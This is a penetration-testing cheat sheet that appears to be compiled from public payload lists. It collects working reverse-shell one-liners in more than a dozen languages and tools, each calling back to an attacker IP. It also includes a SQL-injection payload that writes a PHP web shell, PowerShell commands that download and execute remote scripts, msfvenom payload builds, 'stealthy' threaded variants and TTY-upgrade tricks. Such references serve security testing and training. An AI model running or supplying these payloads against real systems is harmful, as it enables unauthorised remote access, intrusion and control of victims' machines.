Shells Linux

Shell From SQL Injection

# windows
?id=1 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6,7,8,9 into OUTFILE 'c:/xampp/htdocs/cmd.php'
# linux
?id=1 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6,7,8,9 into OUTFILE '/var/www/html/cmd.php'

Reverse Shell

<?php system($_GET['cmd']);?>

NC

nc 192.168.49.234 80 –e /bin/bash

Bash TCP

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
/bin/bash -i >& /dev/tcp/192.168.49.234/80 0>&1

0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196

Bash UDP

Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1

Listener:
nc -u -lvp 4242

Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash

Socat

user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242

user@victim$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242

Static socat binary can be found at https://github.com/andrew-d/static-binaries

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


NOTE: Windows only
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Python

Linux only

IPv4

export RHOST="10.0.0.1";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

IPv4

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.81",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

IPv6

python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Windows only

C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

PHP

php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

NOTE: Windows only
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Netcat Traditional

nc -e /bin/sh 10.0.0.1 4242
nc -e /bin/bash 10.0.0.1 4242
nc -c bash 10.0.0.1 4242

Netcat OpenBsd

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f

Ncat

ncat 10.0.0.1 4242 -e /bin/bash
ncat --udp 10.0.0.1 4242 -e /bin/bash

OpenSSL

Attacker:

user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
or
user@attack$ ncat --ssl -vv -l -p 4242

user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s

TLS-PSK (does not rely on PKI or self-signed certificates)

# generate 384-bit PSK
# use the generated string as a value for the two PSK variables from below
openssl rand -hex 48 
# server (attacker)
export LHOST="*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; openssl s_server -quiet -tls1_2 -cipher PSK-CHACHA20-POLY1305:PSK-AES256-GCM-SHA384:PSK-AES256-CBC-SHA384:PSK-AES128-GCM-SHA256:PSK-AES128-CBC-SHA256 -psk $PSK -nocert -accept $LHOST:$LPORT
# client (victim)
export RHOST="10.0.0.1"; export RPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; export PIPE="/tmp/`openssl rand -hex 4`"; mkfifo $PIPE; /bin/sh -i < $PIPE 2>&1 | openssl s_client -quiet -tls1_2 -psk $PSK -connect $RHOST:$RPORT > $PIPE; rm $PIPE

Powershell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')

Awk

awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Java Alternative 1

String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Java Alternative 2

NOTE: This is more stealthy

Thread thread = new Thread(){
    public void run(){
        // Reverse shell here
    }
}
thread.start();

War

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war
strings reverse.war | grep jsp # in order to get the name of the file

Lua

Linux only

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Windows and Linux

lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

NodeJS

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4242, "10.0.0.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')

or

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

Groovy

by frohoff NOTE: Java reverse shell also work for Groovy

String host="10.0.0.1";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Groovy Alternative 1

NOTE: This is more stealthy

Thread.start {
    // Reverse shell here
}

C

Compile with gcc /tmp/shell.c --output csh && csh

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 4242;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);

    return 0;       
}

Meterpreter Shell

Windows Staged reverse TCP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe

Windows Stageless reverse TCP

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe

Linux Staged reverse TCP

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf

Linux Stageless reverse TCP

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf

Other platforms

$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf > shell.elf
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe > shell.exe
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp > shell.asp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
$ msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

Spawn TTY Shell

In order to catch a shell, you need to listen on the desired port. rlwrap will enhance the shell, allowing you to clear the screen with [CTRL] + [L].

rlwrap nc 10.0.0.1 4242

rlwrap -r -f . nc 10.0.0.1 4242
-f . will make rlwrap use the current history file as a completion word list.
-r Put all words seen on in- and output on the completion list.

Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.

⚠️ OhMyZSH might break this trick, a simple sh is recommended

The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect

1. python -c 'import pty; pty.spawn("/bin/bash")' or /bin/bash -i
2. ctrl + z
3. stty raw -echo
4. fg
5. reset
6. xterm-color

# for zsh
stty raw -echo; fg

reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>

or use socat binary to get a fully tty reverse shell

socat file:`tty`,raw,echo=0 tcp-listen:12345

Spawn a TTY shell from an interpreter

/bin/sh -i
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c "__import__('pty').spawn('/bin/bash')"
python3 -c "__import__('subprocess').call(['/bin/bash'])"
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
perl -e 'print `/bin/bash`'
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')

• vi: :!bash

• vi: :set shell=/bin/bash:shell

• nmap: !sh

• mysql: ! bash

Alternative TTY method

www-data@debian:/dev/shm$ su - user
su: must be run from a terminal

www-data@debian:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null
www-data@debian:/dev/shm$ su - user
Password: P4ssW0rD

user@debian:~$ 

Fully interactive reverse shell on Windows

The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.

ConPtyShell uses the function CreatePseudoConsole(). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).

Server Side:

stty raw -echo; (stty size; cat) | nc -lvnp 3001

Client Side:

IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001

Offline version of the ps1 available at --> https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1

References

• Reverse Bash Shell One Liner

• Pentest Monkey - Cheat Sheet Reverse shell

• Spawning a TTY Shell

• Obtaining a fully interactive shell